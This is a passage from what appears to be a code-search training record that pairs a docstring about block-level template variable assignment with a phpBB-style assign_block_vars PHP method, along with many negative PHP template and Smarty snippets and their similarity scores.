(isset($this->vars[$name])) {\n\t\t\treturn $this->vars[$name];\n\t\t}\n\t\treturn null;\n\t}", "function get($index) {\n\t\treturn isset($this->variable[$index]) ? $this->variable[$index] : null;\n\t}", "public function get_variable() {\n\t\treturn $this->variable;\n\t}", "function ts3client_getClientVariableAsUInt64($serverConnectionHandlerID, $clientID, $flag, &$result) {}", "public function __get($var = null)\n {\n return self::getEntry($var);\n }", "public function GetVar($channel, $variable, $actionId);", "function getVar($var='value'){\r\n\r\n\t$ci =& get_instance();\r\n\r\n\tif( isset($_POST[$var]) ) return $ci->input->post($var);\r\n\r\n\telseif \t( isset($_GET[$var]) ) return $ci->input->get($var);\r\n\r\n\telse return 0;\r\n}", "public function __get($val) {\n\t\treturn $this->connection->$val;\n\t}", "public function __get($name) {\n return $this->getVariable($name);\n }", "public function __get($var){\n\t\tif(isset($this->$var))\n\t\t\treturn $this->$var;\n\t\treturn null;\n\t}", "public function __get($name)\n {\n if(isset($this->vars[$name])){\n return $this->vars[$name];\n }\n return null;\n }", "private function getData($var) {\n return isset($_POST[$var]) ? $_POST[$var] : (isset($_GET[$var]) ? $_GET[$var] : null);\n }", "private function get_bound_value($field)\n\t{\n\t\tif (!array_key_exists($field, $this->_bindings))\n\t\t{\n\t\t\treturn NULL;\n\t\t}\n\t\t\n\t\t$variable = $this->_bindings[$field][0];\n\t\t$key = $this->_bindings[$field][1];\n\t\t\n\t\treturn $this->evaluate_bind($variable, $key);\n\t}", "protected function &getStorageRef()\n {\n if (count($this->stack) > 0) {\n return $this->stack[count($this->stack) - 1];\n }\n return $this->var;\n }", "public function getData($var)\n {\n return $this -> $var;\n }", "public function __get($_name) {\n\t\tif (array_key_exists($_name,$this->fields))\n\t\t\treturn $this->fields[$_name];\n\t\tif (array_key_exists($_name,$this->virtual))\n\t\t\treturn $this->virtual[$_name]['value'];\n\t\tF3::$global['CONTEXT']=$_name;\n\t\ttrigger_error(self::TEXT_AxonNotMapped);\n\t}", "abstract public function get();" ]
[ "0.76569426", "0.6883158", "0.68262905", "0.67724794", "0.6601076", "0.6277992", "0.5909944", "0.57877713", "0.5784902", "0.57528704", "0.57463515", "0.57185", "0.5688865", "0.56827563", "0.5665776", "0.56653285", "0.56467915", "0.5645564", "0.5620548", "0.5615008", "0.5607649", "0.5605316", "0.5581308", "0.5580937", "0.55741096", "0.5562407", "0.5552537", "0.5547146", "0.5529184", "0.5525918", "0.5509335", "0.55022967", "0.5495189", "0.54944617", "0.54944617", "0.54944617", "0.5488697", "0.54581827", "0.5454643", "0.5446745", "0.5430944", "0.54244375", "0.54227465", "0.5415594", "0.54112786", "0.54112786", "0.5402338", "0.5399612", "0.5368877", "0.53611547", "0.5360393", "0.53600556", "0.53593", "0.5358832", "0.5358491", "0.5358491", "0.5358491", "0.5358491", "0.53551126", "0.5332885", "0.53267384", "0.53185767", "0.5305349", "0.5301927", "0.5298712", "0.5293805", "0.5289813", "0.52880514", "0.5280794", "0.52675873", "0.52565217", "0.52543217", "0.5246967", "0.52382463", "0.52359986", "0.52132237", "0.5194737", "0.5193997", "0.51851976", "0.517275", "0.51627606", "0.5155259", "0.51516336", "0.5148705", "0.5147315", "0.5143064", "0.51406574", "0.51335526", "0.5129348", "0.5113454", "0.51054096", "0.51027983", "0.5102316", "0.5095443", "0.5093469", "0.509116", "0.50904447", "0.5089465", "0.5085635", "0.5083972" ]
0.7748324
0
Blocklevel variable assignment. Adds a new block iteration with the given variable assignments. Note that this should only be called once per block iteration.
function assign_block_vars($blockname, $vararray) { if (strpos($blockname, '.') !== false) { // Nested block. $blocks = explode('.', $blockname); $blockcount = sizeof($blocks) - 1; $str = &$this->_tpldata; for($i = 0; $i < $blockcount; $i++) { $str = &$str[$blocks[$i] . '.']; $str = &$str[sizeof($str) - 1]; } $s_row_count = isset($str[$blocks[$blockcount] . '.']) ? sizeof($str[$blocks[$blockcount] . '.']) : 0; $vararray['S_ROW_COUNT'] = $s_row_count; // Assign S_FIRST_ROW if (!$s_row_count) { $vararray['S_FIRST_ROW'] = true; } // Now the tricky part, we always assign S_LAST_ROW and remove the entry before // This is much more clever than going through the complete template data on display (phew) $vararray['S_LAST_ROW'] = true; if ($s_row_count > 0) { unset($str[$blocks[$blockcount] . '.'][($s_row_count - 1)]['S_LAST_ROW']); } // Now we add the block that we're actually assigning to. // We're adding a new iteration to this block with the given variable assignments. $str[$blocks[$blockcount] . '.'][] = $vararray; } else { // Top-level block. $s_row_count = (isset($this->_tpldata[$blockname . '.'])) ? sizeof($this->_tpldata[$blockname . '.']) : 0; $vararray['S_ROW_COUNT'] = $s_row_count; // Assign S_FIRST_ROW if (!$s_row_count) { $vararray['S_FIRST_ROW'] = true; } // We always assign S_LAST_ROW and remove the entry before $vararray['S_LAST_ROW'] = true; if ($s_row_count > 0) { unset($this->_tpldata[$blockname . '.'][($s_row_count - 1)]['S_LAST_ROW']); } // Add a new iteration to this block with the variable assignments we were given. $this->_tpldata[$blockname . '.'][] = $vararray; } return true; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function associateVariablesWithBlocks() {\n $varRefNo = 0;\n $activeBlockNo = 0;\n $nextBlockNo = 1;\n while ($varRefNo < $this->varRefTabCnt) {\n $vrtr =& $this->varRefTab[$varRefNo];\n $varRefTPos = $vrtr['tPosBegin'];\n $varNo = $vrtr['varNo'];\n if ($varRefTPos >= $this->blockTab[$activeBlockNo]['tPosEnd']) {\n $activeBlockNo = $this->blockTab[$activeBlockNo]['parentBlockNo'];\n continue; }\n if ($nextBlockNo < $this->blockTabCnt) {\n if ($varRefTPos >= $this->blockTab[$nextBlockNo]['tPosBegin']) {\n $activeBlockNo = $nextBlockNo;\n $nextBlockNo += 1;\n continue; }}\n $btr =& $this->blockTab[$activeBlockNo];\n if ($varRefTPos < $btr['tPosBegin'])\n $this->programLogicError(1);\n $blockVarNo = $btr['blockVarCnt']++;\n $btr['blockVarNoToVarNoMap'][$blockVarNo] = $varNo;\n if ($btr['firstVarRefNo'] == -1)\n $btr['firstVarRefNo'] = $varRefNo;\n $vrtr['blockNo'] = $activeBlockNo;\n $vrtr['blockVarNo'] = $blockVarNo;\n $varRefNo += 1; }}", "function assign_block_vars($blockname, $vararray)\n\t{\n\t\tif (strstr($blockname, '.'))\n\t\t{\n\t\t\t// Nested block.\n\t\t\t$blocks = explode('.', $blockname);\n\t\t\t$blockcount = sizeof($blocks) - 1;\n\n\t\t\t$str = &$this->_tpldata; \n\t\t\tfor ($i = 0; $i < $blockcount; $i++) \n\t\t\t{\n\t\t\t\t$str = &$str[$blocks[$i]]; \n\t\t\t\t$str = &$str[sizeof($str) - 1]; \n\t\t\t}\n\t\t\t$str[$blocks[$blockcount]][] = $vararray;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_tpldata[$blockname][] = $vararray;\n\t\t}\n\n\t\treturn true;\n\t}", "function setBlock($resource_name, $variable = NULL, $cache_id = null)\n\t{ \n if (strpos($resource_name, '.') === false) {\n\t\t\t$resource_name .= '.tpl';\n\t\t}\n \n if ($variable){\n $content = parent::fetch($theme.'/'.$resource_name, $cache_id);\n \n $this->_globals[$variable] = $content;\n \n parent::clear_all_assign();\n\n } else {\n\t\t\n\n return parent::fetch($resource_name, $cache_id);\n }\n\t}", "function yy_r29()\n {\n $this->_retvalue = $this->compiler->compileTag('assign', array_merge(array(array('value' => $this->yystack[$this->yyidx + - 1]->minor), array('var' => $this->yystack[$this->yyidx + - 3]->minor['var'])), $this->yystack[$this->yyidx + 0]->minor), array('smarty_internal_index' => $this->yystack[$this->yyidx + - 3]->minor['smarty_internal_index']));\n }", "function block_plugin_my_block_save($block) {\n variable_set($block['delta'], $block['my_custom_field']);\n}", "function assign($var,$val) {\n\t\t$this->_viewVars[$var]=$val;\n\t}", "public function assign()\n {\n $this->elementsList();\n $this->match(BacktrackLexer::EQUALS);\n $this->elementsList();\n }", "function yy_r13(){ $this->_retvalue = $this->compiler->compileTag('assign',array_merge(array('value'=>$this->yystack[$this->yyidx + -2]->minor),$this->yystack[$this->yyidx + -4]->minor,$this->yystack[$this->yyidx + -1]->minor)); }", "public function setAssignments(AssignmentExpression ...$assignments): void;", "public function assign($variable , $value)\n {\n $this->data[$variable] = $value;\n }", "public function fnParseVar(&$oNode, $bIsFor, $sKind)\n {\n $oNode->aDeclarations = [];\n $oNode->sKind = $sKind;\n for (;;) {\n $oDecl = $this->fnStartNode();\n $this->fnParseVarId($oDecl, $sKind);\n if ($this->fnEat(TokenTypes::$aTypes['eq'])) {\n $oDecl->oInit = $this->fnParseMaybeAssign($bIsFor);\n } else if ($sKind == \"const\" \n && !($this->oType == TokenTypes::$aTypes['in'] \n || ($this->aOptions['ecmaVersion'] >= 6 \n && $this->fnIsContextual(\"of\")))) {\n $this->fnUnexpected();\n } else if ($oDecl->oId->type != \"Identifier\" \n && !($bIsFor \n && ($this->oType == TokenTypes::$aTypes['in'] \n || $this->fnIsContextual(\"of\")))) {\n $this->fnRaise($this->iLastTokEnd, \"Complex binding patterns require an initialization value\");\n } else {\n $oDecl->oInit = null;\n }\n array_push($oNode->aDeclarations, $this->fnFinishNode($oDecl, \"VariableDeclarator\"));\n if (!$this->fnEat(TokenTypes::$aTypes['comma'])) \n break;\n }\n return $oNode;\n }", "function parse($handle, $tplvar, $parent) {\n yats_assign($this->mBlockHandles[$parent], $tplvar, yats_getbuf($this->mBlockHandles[$handle], $this->default_locale, $this->default_domain, $this->default_dir));\n }", "function testBlockIteration()\n {\n $data = array(\n 'a',\n array('b', array('1', '2', '3', '4')),\n 'c',\n array('d', array('5', '6', '7'))\n );\n\n $result = $this->tpl->loadTemplateFile('blockiteration.html', true, true);\n if (PEAR::isError($result)) {\n $this->assertTrue(false, 'Error loading template file: '. $result->getMessage());\n }\n foreach ($data as $value) {\n if (is_array($value)) {\n $this->tpl->setVariable('outer', $value[0]);\n foreach ($value[1] as $v) {\n $this->tpl->setVariable('inner', $v);\n $this->tpl->parse('inner_block');\n }\n } else {\n $this->tpl->setVariable('outer', $value);\n }\n $this->tpl->parse('outer_block');\n }\n $this->assertEquals('a#b|1|2|3|4#c#d|5|6|7#', $this->_stripWhitespace($this->tpl->get()));\n }", "public function addVariables($tvs = array());", "public function assign($var, $value) {\n\t\tparent::assign($var, $value);\n\t}", "function assign($var, $value = false)\n {\n\t\tif (is_array($var))\r\n\t\t{\r\n\t\t\tforeach ($var as $name => $value)\r\n\t\t\t{\r\n\t\t\t\t$this->_vars[$name] = $value;\r\n\t\t\t}\r\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->_vars[$var] = $value;\n\t\t}\n\t}", "public function assignTemplateVariable($varName, $varValue);", "protected function init()\n {\n $arVariablesExtend = Event::fire(self::EVENT_EXTEND_VARIABLES, []);\n\n foreach ($arVariablesExtend as $iIndex => $arExtend)\n {\n foreach ($arExtend as $sKey => $arVariable) {\n if (in_array($sKey, $this->arVariables)) {\n continue;\n }\n\n // Add to variables\n $this->arVariables[$sKey] = $arVariable;\n }\n }\n }", "public static function blockAssign($title, $value) {\n\t\tself::block($title);\n\t\techo $value;\n\t\tself::blockEnd();\n\t}", "public function bindVariables() {\n foreach($this->response as $key => $val) {\n $this->response_source->bindVariable($key, $val);\n }\n }", "public function assign($tpl_var, $value = null, $nocache = false, $scope_type = Smarty::SCOPE_LOCAL)\n {\n if (is_array($tpl_var)) {\n foreach ($tpl_var as $varname => $value) {\n if ($varname != '') {\n if ($this->_usage == Smarty::IS_TEMPLATE || $scope_type != Smarty::SCOPE_LOCAL) {\n $this->_assignInScope($varname, new Smarty_Variable($value, $nocache), $scope_type);\n } else {\n $this->_tpl_vars->$varname = new Smarty_Variable($value, $nocache);\n }\n }\n }\n } else {\n if ($tpl_var != '') {\n if ($this->_usage == Smarty::IS_TEMPLATE || $scope_type != Smarty::SCOPE_LOCAL) {\n $this->_assignInScope($tpl_var, new Smarty_Variable($value, $nocache), $scope_type);\n } else {\n $this->_tpl_vars->$tpl_var = new Smarty_Variable($value, $nocache);\n }\n }\n }\n\n return $this;\n }", "function generate_block_varref($namespace, $varname, $use_isset = true)\n\t{\n\t\t// Strip the trailing period.\n\t\t$namespace = substr($namespace, 0, strlen($namespace) - 1);\n\n\t\t// Get a reference to the data block for this namespace.\n\t\t$varref = $this->generate_block_data_ref($namespace, true);\n\t\t// Prepend the necessary code to stick this in an echo line.\n\n\t\t// Append the variable reference.\n\t\t$varref .= '[\\'' . $varname . '\\']';\n\n\t\tif($use_isset)\n\t\t{\n\t\t\t$varref = '<' . '?php echo isset(' . $varref . ') ? ' . $varref . ' : \\'\\'; ?' . '>';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$varref = '<' . '?php echo ' . $varref . '; ?' . '>';\n\t\t}\n\n\t\treturn $varref;\n\t}", "public static function setBlock( $block = [] )\n {\n foreach($block as $k => $v)\n {\n self::set($k, $v);\n }\n }", "public function assign($name, $value){\r\n\t\t$this->vars[$name] = $value; \r\n\t}", "function append_var_from_handle_to_block($blockname, $varname, $handle)\n\t{\n\t\t$this->assign_var_from_handle('_tmp', $handle);\n\t\t// assign the value of the generated variable to the given varname.\n\t\t$this->append_block_vars($blockname, array($varname => $this->vars['_tmp']));\n\t\treturn true;\n\t}", "public function assign( $variable, $value ) {\n $this->variables[ $variable ] = $value;\n }", "function generate_block_varref($namespace, $varname)\n\t{\n\t\t// Strip the trailing period.\n\t\t$namespace = substr($namespace, 0, strlen($namespace) - 1);\n\n\t\t// Get a reference to the data block for this namespace.\n\t\t$varref = $this->generate_block_data_ref($namespace, true);\n\t\t// Prepend the necessary code to stick this in an echo line.\n\n\t\t// Append the variable reference.\n\t\t$varref .= '[\\'' . $varname . '\\']';\n\n\t\t$varref = '\\' . ( ( isset(' . $varref . ') ) ? ' . $varref . ' : \\'\\' ) . \\'';\n\n\t\treturn $varref;\n\n\t}", "public function iterate()\n {\n collect($this)->each([ $this, 'assign' ]);\n }", "public function assign_variables($variables = array())\n\t{\n\t\tif (is_array($variables))\n\t\t{\n\t\t\tforeach ($variables as $name => $val)\n\t\t\t{\n\t\t\t\t$this->assign($name, $val);\n\t\t\t}\n\t\t}\n\t}", "protected function processVariable(PHP_CodeSniffer_File $phpcsFile, $stackPtr)\n {\n }", "protected function assign_variables($vars) {\n $this->out->assign_vars($vars);\n }", "public function addVariable($tv);", "function isfnet_process_block(&$variables, $hook) {\n // Drupal 7 should use a $title variable instead of $block->subject.\n $variables['title'] = $variables['block']->subject;\n}", "public function assign( $field, $value ) {\n $this->_variables[ $field ] = $value;\n }", "public function set($variables) {\n foreach ($variables as $key => $value) {\n $this->vars[$key] = $value;\n }\n }", "public function _assignInScope($varname, $variable_obj, $scope_type = Smarty::SCOPE_LOCAL)\n {\n if ($scope_type == Smarty::SCOPE_GLOBAL) {\n Smarty::$_global_tpl_vars->{$varname} = $variable_obj;\n if ($this->_usage == Smarty::IS_TEMPLATE) {\n // we must bubble from current template\n $scope_type = Smarty::SCOPE_ROOT;\n } else {\n // otherwise done\n return;\n }\n }\n\n // must always assign in local scope\n $this->_tpl_vars->{$varname} = $variable_obj;\n\n // if called on data object return\n if ($this->_usage == Smarty::IS_DATA) {\n return;\n }\n\n // if called from template object ($this->scope_type set) we must consider\n // the scope type if template object\n if ($this->_usage == Smarty::IS_TEMPLATE) {\n if (($this->scope_type == Smarty::SCOPE_ROOT || $this->scope_type == Smarty::SCOPE_PARENT) &&\n $scope_type != Smarty::SCOPE_ROOT && $scope_type != Smarty::SCOPE_SMARTY\n ) {\n $scope_type = $this->scope_type;\n }\n }\n\n if ($scope_type == Smarty::SCOPE_LOCAL) {\n return;\n }\n\n $node = $this->parent;\n while ($node) {\n // bubble up only in template objects\n if ($node->_usage == Smarty::IS_TEMPLATE || ($scope_type == Smarty::SCOPE_SMARTY && $node->_usage != Smarty::IS_DATA)) {\n $node->_tpl_vars->{$varname} = $variable_obj;\n if ($scope_type == Smarty::SCOPE_PARENT) {\n break;\n }\n }\n $node = $node->parent;\n }\n }", "public function setVars($var_arr, $not_gpc = false) {\n\t\tforeach ($var_arr as $key => $value) {\n\t\t\t$this->setVar($key, $value, $not_gpc);\n\t\t}\n\t}", "public function each($block)\n {\n foreach ($this->array as $key => $val) {\n $block($key, $val);\n }\n }", "public function smarty_assign($var,$value=null) {\n\t\tif ($value === null) {\n\t\t\t//Assign key,value pairs in the array\n\t\t\t$this->smarty->assign($var);\n\t\t}\n\t\telse {\n\t\t\t$this->smarty->assign($var,$value);\n\t\t}\n\t}", "public function assign($variable, $value)\n\t{\n\t\t$this->data[$variable] = $value;\n\t}", "public function assignVar($name, $value) {\n $this->tpl_vars[$name] = $value;\n }", "protected function assign($var, $value) {\n $this->out->assign_vars(array($var => $value));\n }", "function assign( $variable, $value = null ){\n\n\t\tif( is_array( $variable ) )\n\t\t\tforeach( $variable as $name => $value )\n\t\t\t\t$this->variables[ $name ] = $value;\n\t\telseif( is_object( $variable ) ){\n\t\t\t$variable = get_object_vars( $variable );\n\t\t\tforeach( $variable as $name => $value )\n\t\t\t\t$this->variables[ $name ] = $value;\n\t\t}\n\t\telse\n\t\t\t$this->variables[ $variable ] = $value;\n\t}", "function assign_var($varname, $varval)\n\t{\n\t\t$this->vars[$varname] = $varval;\n\n\t\treturn true;\n\t}", "protected function assign($varName, $varValue)\n {\n $this->varList[$varName] = $varValue;\n }", "function Assign($tpl_var, $value = null)\n {\n $this->_smarty->assign( $tpl_var, $value );\n }", "function gwt_drupal_process_block(&$variables, $hook) {\n // Drupal 7 should use a $title variable instead of $block->subject.\n $variables['title'] = isset($variables['block']->subject) ? $variables['block']->subject : '';\n}", "function AssignByRef($tpl_var, &$value)\n {\n $this->_smarty->assign_by_ref($tpl_var, $value);\n }", "public function set_block() {\n\t\tif (func_num_args() < 2) { return false; }\n\t\t$elements = func_get_args();\n\t\t$name = $elements[0];\n\t\tunset($elements[0]);\n\t\t\t\t\n\t\t$this->_blocks[$name] = $elements;\n\t\treturn $this;\n\t}", "function _set( $varname, $value, $scope='' ){\n if( $scope=='global' ){\n $this->ctx[0]['_scope_'][$varname] = $value;\n return;\n }\n\n if( $scope=='parent' ){\n for( $x=count($this->ctx)-1; $x>=0; $x-- ){\n if( isset($this->ctx[$x]['_scope_']) && isset($this->ctx[$x]['_scope_'][$varname]) ){\n $this->ctx[$x]['_scope_'][$varname] = $value;\n return;\n }\n }\n }\n\n for( $x=count($this->ctx)-1; $x>=0; $x-- ){\n if( isset($this->ctx[$x]['_scope_']) ){\n $this->ctx[$x]['_scope_'][$varname] = $value;\n return;\n }\n }\n\n }", "public static function while_block($params, $content, &$smarty, &$repeat) {\n\t\t\t$name = $params['name'];\n\t\t\t$value = $params['value'];\n\t\t\t$$name = $value;\n\t\t\treturn $content;\n\t\t}", "public function assignVar($key, &$value) {\n\t\t$this->_vars[$key]->value = $value;\n\t}", "function beerfamily_preprocess_block(&$variables) {\n\n}", "function assign_vars($vararray)\n\t{\n\t\tforeach($vararray as $key => $val)\n\t\t{\n\t\t\t$this->vars[$key] = $val;\n\t\t}\n\t\treturn true;\n\t}", "public function assignVars($values) {\n\t\tforeach ($this->_vars as $key => $var) {\n\t\t\t$value = (!isset($values[$key]))?null:$values[$key];\n\t\t\t$this->_vars[$key]->set($value);\n\t\t}\n\t}", "function addVars($node, $vars) {\n\tforeach ($vars as $name=>$val) {\n\t\t$var = $node->data->addChild('var', $val);\n\t\t$var->addAttribute('name', $name);\n\t}\n}", "public function assignVars(array $args)\n {\n $this->vars = array_merge( $this->vars , $args );\n }", "public function assign( $name, $value ) {\n $this->vars[$name] = $value;\n }", "public function Assign($variable, $value)\n {\n $this->_Data[$variable] = $value;\n }", "public function doVariable($name, &$value): void\n {\n switch ($name) {\n case 'b':\n $value = 4;\n break;\n }\n }", "function cps_changeset_publish_batch_variables(&$context) {\n $item = $context['results']['entity'];\n foreach ($item->variables as $name => $value) {\n db_merge('variable')->key(array('name' => $name))->fields(array('value' => serialize($value)))->execute();\n }\n cache_clear_all('variables', 'cache_bootstrap');\n $context['message'] = t('Publishing variables');\n}", "protected static function assign($key, $value) { self::$smarty->assign($key, $value); }", "function global_parse($handle, $tplvar)\n {\n $this->global_assign(array($tplvar => yats_getbuf($this->mBlockHandles[$handle], $this->default_locale, $this->default_domain, $this->default_dir)));\n }", "public function setVariable(VariableName $variableName, BaseLiteral $value, string $assignmentMode = null)\n {\n $this->variables->set($variableName, $value, AbstractContext::ASSIGNMENT_MODE_VARIABLE);\n }", "function assign_global($key, $value = null)\n\t{\n\t\t\tforeach ($this->data as $k => $v)\t // iterate through data\n\t\t\t{\n\t\t\t\t\n\t\t\t\tif (get_class($v) == 'Template') // if data is template object\n\t\t\t\t{\n\t\t\t\t\t$v->assign($key, $value);\t // assign to it\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->assign($key, $value);\t\t // assign to this template also\n\t}", "protected function processVariable(File $phpcsFile, $stackPtr)\n {\n\n }", "public function assign($name, $value)\n {\n $this->vars[ $name ] = $value;\n }", "function commonAssign() \n\t{\n\t\t$this->xt->assign(\"id\", $this->id);\n\t\t//search permissions\n\t\t$searchPermis = $this->permis[$this->tName]['search'];\n\t\t$this->xt->assign(\"details_block\", $searchPermis && $this->rowsFound );\n\t\t$this->xt->assign(\"pages_block\", $searchPermis && $this->rowsFound );\n\t\t$this->xt->assignbyref(\"body\", $this->body);\n\t\t\t\n\t\t$this->addAssignForGrid();\n\t\t\t\t\t\t\n\t\tif ($this->isDispGrid())\n\t\t\t$this->xt->assign_section(\"grid_block\", '', '');\n\t}", "function yy_r208(){ $this->_retvalue = new Stmt\\VariablePlaceholder; }", "public function assign($name, $value = null) {\r\n\t\t\t$this->templateVariables[$name] = $value;\r\n\t\t\treturn $this;\r\n\t\t}", "public function assign($variable, $value = null) {\n if (is_array($variable))\n $this->var = $variable + $this->var;\n else\n $this->var[$variable] = $value;\n\n return $this;\n }", "function gsb_public_custom_blocks_preprocess_gsb_public_custom_blocks_follow_us(&$variables) {\n\n}", "protected function processVariable(\n File $phpcsFile,\n $stackPtr\n ) {\n }", "function assign_vars($vararray)\n\t{\n\t\t$this->_tpldata['.'][0] = array_merge(empty($this->_tpldata['.'][0]) ? array() : $this->_tpldata['.'][0], $vararray);\n\t\treturn true;\n\t}", "public function _assign_cache(&$tpl)\n {\n // dummy\n }", "function addVariable($name,$value,$eval = true) {\n\t\t $this->Open();\n\t\t if ($eval) {\t\t \t\t \n\t\t $this->Stream .= '$'.$name.' = '.$this->prepareVariableString($value).';'.chr(10);\n\t\t \n\t\t } else {\t\t \n\t\t $this->Stream .= '$'.$name.' = $'.$value.\";\".chr(10);\n\t\t } \n\t\t}", "public function addVariable($name, $value);", "public function assign($name, $value = null)\n {\n if (is_array($name)){\n foreach ($name as $key => $item) {\n $this->vars[$key] = $item;\n }\n } else {\n $this->vars[$name] = $value;\n }\n }", "protected function parseVariable(): void\n {\n $sBaseUrl = $this->sBaseUrl;\n\n /**\n * $getCurrentTplName is used in \"variables.inc.php\" file\n */\n $getCurrentTplName = static function () use ($sBaseUrl) {\n $aDirs = explode('/', $sBaseUrl);\n return !empty($aDirs[2]) ? $aDirs[2] : PH7_DEFAULT_THEME;\n };\n\n $this->setVariables(include('variables.inc.php'));\n }", "public function assign($names, $values = null, $global = false) {\n\t\tif (is_array($names)) {\n\t\t\tforeach ($names as $name => $value) {\n\t\t\t\t$this->assign($name, $value, $global);\n\t\t\t}\n\t\t} else {\n\t\t\tif ($global) {\n\t\t\t\t// Declare this name as global\n\t\t\t\t$this->tpl_vars_global_keys[] = $names;\n\n\t\t\t\t// For global vars, update value in all contexts\n\t\t\t\tforeach ($this->context as $id => $vars) {\n\t\t\t\t\t$this->context[$id][$names] = $values;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->tpl_vars[$names] = $values;\n\t\t}\n\t}", "#[@test]\n public function assignment() {\n $this->assertEquals(array(new AssignmentNode(array(\n 'variable' => new VariableNode('a'),\n 'expression' => new TernaryNode(array(\n 'condition' => new VariableNode('argc'),\n 'expression' => new VariableNode('args0'),\n 'conditional' => new IntegerNode('1')\n )),\n 'op' => '='\n ))), $this->parse('\n $a= $argc ? $args0 : 1;\n '));\n }", "function testSetVariable()\n {\n $result = $this->tpl->setTemplate('{placeholder1} {placeholder2} {placeholder3}', true, true);\n if (PEAR::isError($result)) {\n $this->assertTrue(false, 'Error setting template: '. $result->getMessage());\n }\n // \"scalar\" call\n $this->tpl->setVariable('placeholder1', 'var1');\n // array call\n $this->tpl->setVariable(array(\n 'placeholder2' => 'var2',\n 'placeholder3' => 'var3'\n ));\n $this->assertEquals('var1 var2 var3', $this->tpl->get());\n }", "protected function addBootstrapVariables()\n {\n $objFile = new \\File($this->getBootstrapSrc('variables.less'));\n\n $strVariables = '';\n\n if ($objFile->size > 0)\n {\n $strVariables = $objFile->getContent();\n }\n\n if (!is_array($this->variablesOrderSRC))\n {\n return;\n }\n\n $objTarget = new \\File($this->getBootstrapCustomSrc($this->variablesSrc));\n\n // overwrite bootstrap variables with custom variables\n $objFilesModels = \\FilesModel::findMultipleByUuids($this->variablesOrderSRC);\n\n if ($objFilesModels !== null)\n {\n while ($objFilesModels->next())\n {\n $objFile = new \\File($objFilesModels->path);\n $strContent = $objFile->getContent();\n\n if ($this->isFileUpdated($objFile, $objTarget))\n {\n $this->rewrite = true;\n $this->rewriteBootstrap = true;\n if ($strContent)\n {\n $strVariables .= \"\\n\" . $strContent;\n }\n }\n else\n {\n $strVariables .= \"\\n\" . $strContent;\n }\n }\n }\n\n if ($this->rewriteBootstrap)\n {\n $objTarget->write($strVariables);\n $objTarget->close();\n }\n\n $this->objLess->parse($strVariables);\n }", "protected function assignNoParse($block) {\n\t\t++$this->noParseBlocks;\n\t\t$this->vars['block_'.$this->noParseBlocks] = $block;\n\t\treturn '{$block_'.$this->noParseBlocks.'}';\n\t}", "public function let($var, $expression)\n {\n if ($expression instanceof AqlGen) {\n $this->bindParams($expression->getParams());\n }\n\n $this->inner[] = [self::TYPE_LET => new Let($var, $expression)];\n return $this;\n }", "public function updateVaribles(){\n foreach( $this->globalVars as $key=>$val ){\n $this->template = str_replace( '%'. $key .'%', $val, $this->template );\n }\n }", "function yy_r129()\n {\n if ($this->yystack[$this->yyidx + - 1]->minor['var'] == '\\'smarty\\'') {\n $this->_retvalue = $this->compiler->compileTag('Internal_SpecialVariable', array(), $this->yystack[$this->yyidx + - 1]->minor['smarty_internal_index']) . $this->yystack[$this->yyidx + 0]->minor;\n } else {\n $this->_retvalue = $this->compiler->compileVariable($this->yystack[$this->yyidx + - 1]->minor['var']) . $this->yystack[$this->yyidx + - 1]->minor['smarty_internal_index'] . $this->yystack[$this->yyidx + 0]->minor;\n }\n }", "public function loadAllVars()\n {\n $this->vars = $this->getEntityService()->findAll(EntityConstants::ITEM_VAR);\n return $this;\n }", "public function set($identifier, $variable) {\n\t\t$this->storage[$identifier] = $variable;\n\t\treturn $this;\n\t}", "public static function assign($key,$value) {\r\n\t\tself::$_smarty->assignGlobal($key,$value);\r\n\t}", "public function setCapturedVariables(/*Vector<IVariable>*/ $value) /*: this*/ {\n $this->capturedVariables = $value;\n return $this;\n }", "public function __construct($area, $variables = [])\n {\n $this->area = blockhash_append($area);\n $this->variables = $variables;\n $this->blocks = blocks($this->area);\n }", "public function testDynamicVariables(): void\n {\n $evaluator = new Evaluator();\n $evaluator->variables = ['a' => 1];\n $evaluator->onVariable = [$this, 'doVariable'];\n self::assertEquals(\n 5,\n $evaluator->execute('a+b')\n );\n }", "public function setAssignments($val)\n {\n $this->_propDict[\"assignments\"] = $val;\n return $this;\n }", "public function assign($name,$value);", "function assign_vars_array($name, $value)\n\t{\n\t\t$this->_vars[$name][] = $value;\n\t}", "private function assignValues() {\n $this->setIndicators('value');\n\n $leftIndicator = $this->sugarTemplateIndicators['valueLeft'] . $this->sugarTemplateIndicators['valueSeparator'];\n $rightIndicator = $this->sugarTemplateIndicators['valueSeparator'] . $this->sugarTemplateIndicators['valueRight'];\n\n foreach ($this->assignedValues as $tag => $value) {\n $this->rootContent = str_replace($leftIndicator . $tag . $rightIndicator, $value, $this->rootContent);\n }\n }", "public function enumerateObjectsUsingBlock(\\Closure $block)\n {\n foreach ($this->array as $key => $value) {\n $block($value, $key);\n }\n }", "public function assign($key, $value) {\n\t\t$this->smarty->assign($key, $value);\n\t}", "function yy_r209(){ $this->_retvalue = new Stmt\\VariablePlaceholder($this->yystack[$this->yyidx + 0]->minor); }" ]
[ "0.6712493", "0.60918117", "0.55014837", "0.54805833", "0.527007", "0.5065701", "0.5013135", "0.50077033", "0.49866587", "0.49752873", "0.49744585", "0.4936938", "0.49360934", "0.49315873", "0.49281657", "0.4916261", "0.4914747", "0.49142545", "0.4911687", "0.49020493", "0.48943126", "0.48876545", "0.48821563", "0.48413742", "0.48289222", "0.48004687", "0.4791869", "0.47891614", "0.47834057", "0.47424448", "0.47312516", "0.472421", "0.47214967", "0.47182518", "0.47169182", "0.4710297", "0.47084117", "0.47021762", "0.46840137", "0.4676821", "0.46726406", "0.4671264", "0.4667066", "0.46615368", "0.46559107", "0.4649641", "0.46398187", "0.46372414", "0.46222162", "0.46191838", "0.46163595", "0.4614878", "0.46133518", "0.46078753", "0.46039444", "0.45852557", "0.4558355", "0.4555288", "0.45354584", "0.4531244", "0.45277897", "0.4523309", "0.45202386", "0.45201737", "0.44917408", "0.4481866", "0.44756636", "0.4475342", "0.4472735", "0.44714385", "0.44574085", "0.44454905", "0.4439095", "0.44296503", "0.44248158", "0.4424075", "0.44218305", "0.44190302", "0.44083932", "0.44075483", "0.43997833", "0.43919936", "0.4383541", "0.43775973", "0.43660966", "0.43496868", 